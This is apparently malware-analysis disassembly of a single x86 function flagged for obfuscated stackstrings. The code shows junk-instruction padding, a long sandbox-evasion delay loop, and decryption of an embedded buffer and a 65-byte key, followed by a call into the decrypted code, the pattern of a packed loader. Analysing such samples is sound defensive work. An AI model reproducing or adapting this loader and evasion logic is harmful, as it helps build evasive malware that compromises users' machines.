Function at 0x4193a0
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x98
push ebx
push esi
push edi
neg edi
bswap eax
bswap edx
dec esi
or edx, 0xc8
bswap esi
sbb esi, 0x51
add ebx, 0x93
dec edi
rol edx, 0xb
neg edx
not esi
neg esi
imul ebx
imul ebx
neg edx
sub eax, 0xa7
imul esi
bswap esi
bswap edi
imul eax
not edi
rol ebx, 0x67
sub esi, 0xf1
neg edi
dec edx
rol edx, 0xc6
and ebx, 0x12
sub edx, 0xa8
inc ebx
neg edx
rol esi, 0x88
neg eax
mov edx, 0xec
dec ebx
imul esi
or esi, 0xdd
inc esi
bswap eax
imul ebx
inc esi
sbb eax, 0xba
neg esi
imul edi
not esi
rcr eax, 0xba
add esi, 0xc3
rcr edx, 0xac
and edx, 0x37
or eax, 8
mov dword [ebp - 0xc], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0xc], 0
jmp 0x419454
mov eax, dword [ebp - 0xc]
add eax, 1
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0x5f5e100
jge 0x419468
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
jmp 0x41944b
cmp dword [ebp - 0x1c], 0x5f5e100
jne 0x419d17
neg edi
bswap eax
bswap edx
dec esi
or edx, 0xc8
bswap esi
sbb esi, 0x51
add ebx, 0x93
dec edi
rol edx, 0xb
neg edx
not esi
neg esi
imul ebx
imul ebx
neg edx
sub eax, 0xa7
imul esi
bswap esi
bswap edi
imul eax
not edi
rol ebx, 0x67
sub esi, 0xf1
neg edi
dec edx
rol edx, 0xc6
and ebx, 0x12
sub edx, 0xa8
inc ebx
neg edx
rol esi, 0x88
neg eax
mov edx, 0xec
dec ebx
imul esi
or esi, 0xdd
inc esi
bswap eax
imul ebx
inc esi
sbb eax, 0xba
neg esi
imul edi
not esi
rcr eax, 0xba
add esi, 0xc3
rcr edx, 0xac
and edx, 0x37
or eax, 8
mov dword [ebp - 0x84], 0
jmp 0x419518
mov edx, dword [ebp - 0x84]
add edx, 1
mov dword [ebp - 0x84], edx
cmp dword [ebp - 0x84], 0x77e
jae 0x41970f
mov eax, dword [ebp - 0x84]
mov cl, byte [eax + 0x44c008]
mov byte [ebp - 0x85], cl
movzx edx, byte [ebp - 0x85]
not edx
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
add eax, 0x43
mov byte [ebp - 0x85], al
movzx ecx, byte [ebp - 0x85]
not ecx
mov byte [ebp - 0x85], cl
movzx edx, byte [ebp - 0x85]
neg edx
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
add eax, dword [ebp - 0x84]
mov byte [ebp - 0x85], al
movzx ecx, byte [ebp - 0x85]
neg ecx
mov byte [ebp - 0x85], cl
movzx edx, byte [ebp - 0x85]
sub edx, 0xda
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
sar eax, 7
movzx ecx, byte [ebp - 0x85]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x85], al
movzx edx, byte [ebp - 0x85]
add edx, 0x6d
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
not eax
mov byte [ebp - 0x85], al
movzx ecx, byte [ebp - 0x85]
sub ecx, dword [ebp - 0x84]
mov byte [ebp - 0x85], cl
movzx edx, byte [ebp - 0x85]
not edx
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
sub eax, 0xc1
mov byte [ebp - 0x85], al
movzx ecx, byte [ebp - 0x85]
not ecx
mov byte [ebp - 0x85], cl
movzx edx, byte [ebp - 0x85]
neg edx
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
sar eax, 5
movzx ecx, byte [ebp - 0x85]
shl ecx, 3
or eax, ecx
mov byte [ebp - 0x85], al
movzx edx, byte [ebp - 0x85]
sub edx, dword [ebp - 0x84]
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
sar eax, 2
movzx ecx, byte [ebp - 0x85]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x85], al
movzx edx, byte [ebp - 0x85]
add edx, dword [ebp - 0x84]
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
not eax
mov byte [ebp - 0x85], al
movzx ecx, byte [ebp - 0x85]
add ecx, 0x57
mov byte [ebp - 0x85], cl
movzx edx, byte [ebp - 0x85]
neg edx
mov byte [ebp - 0x85], dl
movzx eax, byte [ebp - 0x85]
add eax, 0xe8
mov byte [ebp - 0x85], al
movzx ecx, byte [ebp - 0x85]
neg ecx
mov byte [ebp - 0x85], cl
movzx edx, byte [ebp - 0x85]
sub edx, 0xdb
mov byte [ebp - 0x85], dl
mov eax, dword [ebp - 0x84]
mov cl, byte [ebp - 0x85]
mov byte [eax + 0x44c008], cl
jmp 0x419509
push 0x77e
push 0x44c008
call fcn.00418e90
add esp, 8
mov dword [ebp - 0x78], eax
mov dword [ebp - 0x74], edx
neg edi
bswap eax
bswap edx
dec esi
or edx, 0xc8
bswap esi
sbb esi, 0x51
add ebx, 0x93
dec edi
rol edx, 0xb
neg edx
not esi
neg esi
imul ebx
imul ebx
neg edx
sub eax, 0xa7
imul esi
bswap esi
bswap edi
imul eax
not edi
rol ebx, 0x67
sub esi, 0xf1
neg edi
dec edx
rol edx, 0xc6
and ebx, 0x12
sub edx, 0xa8
inc ebx
neg edx
rol esi, 0x88
neg eax
mov edx, 0xec
dec ebx
imul esi
or esi, 0xdd
inc esi
bswap eax
imul ebx
inc esi
sbb eax, 0xba
neg esi
imul edi
not esi
rcr eax, 0xba
add esi, 0xc3
rcr edx, 0xac
and edx, 0x37
or eax, 8
call fcn.00419100
mov dword [ebp - 0x80], eax
push 0x2a000
push 0x422008
call fcn.00418cd0
add esp, 8
neg edi
bswap eax
bswap edx
dec esi
or edx, 0xc8
bswap esi
sbb esi, 0x51
add ebx, 0x93
dec edi
rol edx, 0xb
neg edx
not esi
neg esi
imul ebx
imul ebx
neg edx
sub eax, 0xa7
imul esi
bswap esi
bswap edi
imul eax
not edi
rol ebx, 0x67
sub esi, 0xf1
neg edi
dec edx
rol edx, 0xc6
and ebx, 0x12
sub edx, 0xa8
inc ebx
neg edx
rol esi, 0x88
neg eax
mov edx, 0xec
dec ebx
imul esi
or esi, 0xdd
inc esi
bswap eax
imul ebx
inc esi
sbb eax, 0xba
neg esi
imul edi
not esi
rcr eax, 0xba
add esi, 0xc3
rcr edx, 0xac
and edx, 0x37
or eax, 8
push 0x2000
call fcn.0040240a
add esp, 4
mov dword [ebp - 0x94], eax
mov edx, dword [ebp - 0x94]
mov dword [ebp - 0x7c], edx
neg edi
bswap eax
bswap edx
dec esi
or edx, 0xc8
bswap esi
sbb esi, 0x51
add ebx, 0x93
dec edi
rol edx, 0xb
neg edx
not esi
neg esi
imul ebx
imul ebx
neg edx
sub eax, 0xa7
imul esi
bswap esi
bswap edi
imul eax
not edi
rol ebx, 0x67
sub esi, 0xf1
neg edi
dec edx
rol edx, 0xc6
and ebx, 0x12
sub edx, 0xa8
inc ebx
neg edx
rol esi, 0x88
neg eax
mov edx, 0xec
dec ebx
imul esi
or esi, 0xdd
inc esi
bswap eax
imul ebx
inc esi
sbb eax, 0xba
neg esi
imul edi
not esi
rcr eax, 0xba
add esi, 0xc3
rcr edx, 0xac
and edx, 0x37
or eax, 8
mov byte [ebp - 0x70], 0xa1
mov byte [ebp - 0x6f], 0xbc
mov byte [ebp - 0x6e], 0xfd
mov byte [ebp - 0x6d], 0x10
mov byte [ebp - 0x6c], 0x4b
mov byte [ebp - 0x6b], 0xcc
mov byte [ebp - 0x6a], 0x37
mov byte [ebp - 0x69], 0x1a
mov byte [ebp - 0x68], 0xd4
mov byte [ebp - 0x67], 0x27
mov byte [ebp - 0x66], 0xd9
mov byte [ebp - 0x65], 0xa4
mov byte [ebp - 0x64], 0xb7
mov byte [ebp - 0x63], 0xc2
mov byte [ebp - 0x62], 0x34
mov byte [ebp - 0x61], 0xb6
mov byte [ebp - 0x60], 0x51
mov byte [ebp - 0x5f], 0x7b
mov byte [ebp - 0x5e], 0x6e
mov byte [ebp - 0x5d], 0xa0
mov byte [ebp - 0x5c], 0xbb
mov byte [ebp - 0x5b], 0x5e
mov byte [ebp - 0x5a], 0x62
mov byte [ebp - 0x59], 0x74
mov byte [ebp - 0x58], 0x4f
mov byte [ebp - 0x57], pe_nt_image_headers32
mov byte [ebp - 0x56], 0x5b
mov byte [ebp - 0x55], 0xcd
mov byte [ebp - 0x54], 0x10
mov byte [ebp - 0x53], 0xc2
mov byte [ebp - 0x52], 0x5d
mov byte [ebp - 0x51], 0xf
mov byte [ebp - 0x50], 0xe2
mov byte [ebp - 0x4f], 0xe4
mov byte [ebp - 0x4e], 0xb7
mov byte [ebp - 0x4d], 0x71
mov byte [ebp - 0x4c], 0xfc
mov byte [ebp - 0x4b], 0x67
mov byte [ebp - 0x4a], 0x19
mov byte [ebp - 0x49], 0xdb
mov byte [ebp - 0x48], 0
mov byte [ebp - 0x47], 2
mov byte [ebp - 0x46], 0x46
mov byte [ebp - 0x45], 0x68
mov byte [ebp - 0x44], 0xd2
mov byte [ebp - 0x43], 0xfd
mov byte [ebp - 0x42], 0xf7
mov byte [ebp - 0x41], 0x1a
mov byte [ebp - 0x40], 0x2c
mov byte [ebp - 0x3f], 0xe6
mov byte [ebp - 0x3e], 0x39
mov byte [ebp - 0x3d], 0x64
mov byte [ebp - 0x3c], 0x3d
mov byte [ebp - 0x3b], 0x90
mov byte [ebp - 0x3a], 0x83
mov byte [ebp - 0x39], 0x2d
mov byte [ebp - 0x38], 0x9f
mov byte [ebp - 0x37], 0x29
mov byte [ebp - 0x36], 0xd5
mov byte [ebp - 0x35], 0x1f
mov byte [ebp - 0x34], 0x23
mov byte [ebp - 0x33], 0x5d
mov byte [ebp - 0x32], 0xf6
mov byte [ebp - 0x31], 0x81
mov byte [ebp - 0x30], 0x1f
mov dword [ebp - 0x8c], 0
jmp 0x419a14
mov eax, dword [ebp - 0x8c]
add eax, 1
mov dword [ebp - 0x8c], eax
cmp dword [ebp - 0x8c], 0x41
jae 0x419c44
mov ecx, dword [ebp - 0x8c]
mov dl, byte [ebp + ecx - 0x70]
mov byte [ebp - 0x8d], dl
movzx eax, byte [ebp - 0x8d]
sub eax, dword [ebp - 0x8c]
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
sar ecx, 5
movzx edx, byte [ebp - 0x8d]
shl edx, 3
or ecx, edx
mov byte [ebp - 0x8d], cl
movzx eax, byte [ebp - 0x8d]
sub eax, dword [ebp - 0x8c]
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
not ecx
mov byte [ebp - 0x8d], cl
movzx edx, byte [ebp - 0x8d]
add edx, 0xf3
mov byte [ebp - 0x8d], dl
movzx eax, byte [ebp - 0x8d]
sar eax, 2
movzx ecx, byte [ebp - 0x8d]
shl ecx, 6
or eax, ecx
mov byte [ebp - 0x8d], al
movzx edx, byte [ebp - 0x8d]
add edx, dword [ebp - 0x8c]
mov byte [ebp - 0x8d], dl
movzx eax, byte [ebp - 0x8d]
neg eax
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
sar ecx, 2
movzx edx, byte [ebp - 0x8d]
shl edx, 6
or ecx, edx
mov byte [ebp - 0x8d], cl
movzx eax, byte [ebp - 0x8d]
neg eax
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
sar ecx, 5
movzx edx, byte [ebp - 0x8d]
shl edx, 3
or ecx, edx
mov byte [ebp - 0x8d], cl
movzx eax, byte [ebp - 0x8d]
add eax, dword [ebp - 0x8c]
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
neg ecx
mov byte [ebp - 0x8d], cl
movzx edx, byte [ebp - 0x8d]
add edx, 0x3d
mov byte [ebp - 0x8d], dl
movzx eax, byte [ebp - 0x8d]
sar eax, 1
movzx ecx, byte [ebp - 0x8d]
shl ecx, 7
or eax, ecx
mov byte [ebp - 0x8d], al
movzx edx, byte [ebp - 0x8d]
sub edx, dword [ebp - 0x8c]
mov byte [ebp - 0x8d], dl
movzx eax, byte [ebp - 0x8d]
not eax
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
neg ecx
mov byte [ebp - 0x8d], cl
movzx edx, byte [ebp - 0x8d]
sub edx, 0x57
mov byte [ebp - 0x8d], dl
movzx eax, byte [ebp - 0x8d]
sar eax, 7
movzx ecx, byte [ebp - 0x8d]
shl ecx, 1
or eax, ecx
mov byte [ebp - 0x8d], al
movzx edx, byte [ebp - 0x8d]
sub edx, dword [ebp - 0x8c]
mov byte [ebp - 0x8d], dl
movzx eax, byte [ebp - 0x8d]
neg eax
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
sar ecx, 6
movzx edx, byte [ebp - 0x8d]
shl edx, 2
or ecx, edx
mov byte [ebp - 0x8d], cl
movzx eax, byte [ebp - 0x8d]
sub eax, dword [ebp - 0x8c]
mov byte [ebp - 0x8d], al
movzx ecx, byte [ebp - 0x8d]
sar ecx, 7
movzx edx, byte [ebp - 0x8d]
shl edx, 1
or ecx, edx
mov byte [ebp - 0x8d], cl
mov eax, dword [ebp - 0x8c]
mov cl, byte [ebp - 0x8d]
mov byte [ebp + eax - 0x70], cl
jmp 0x419a05
push 0x422008
push 0
mov edx, dword [ebp - 0x7c]
push edx
push 0x41
lea eax, [ebp - 0x70]
push eax
call fcn.004191d0
add esp, 8
push eax
call fcn.004192a0
add esp, 8
push eax
mov ecx, dword [ebp - 0x80]
add ecx, 0x44c008
call ecx
add esp, 0xc
neg edi
bswap eax
bswap edx
dec esi
or edx, 0xc8
bswap esi
sbb esi, 0x51
add ebx, 0x93
dec edi
rol edx, 0xb
neg edx
not esi
neg esi
imul ebx
imul ebx
neg edx
sub eax, 0xa7
imul esi
bswap esi
bswap edi
imul eax
not edi
rol ebx, 0x67
sub esi, 0xf1
neg edi
dec edx
rol edx, 0xc6
and ebx, 0x12
sub edx, 0xa8
inc ebx
neg edx
rol esi, 0x88
neg eax
mov edx, 0xec
dec ebx
imul esi
or esi, 0xdd
inc esi
bswap eax
imul ebx
inc esi
sbb eax, 0xba
neg esi
imul edi
not esi
rcr eax, 0xba
add esi, 0xc3
rcr edx, 0xac
and edx, 0x37
or eax, 8
mov edx, dword [ebp - 0x7c]
mov dword [ebp - 0x98], edx
mov eax, dword [ebp - 0x98]
push eax
call fcn.004047d5
add esp, 4
xor eax, eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret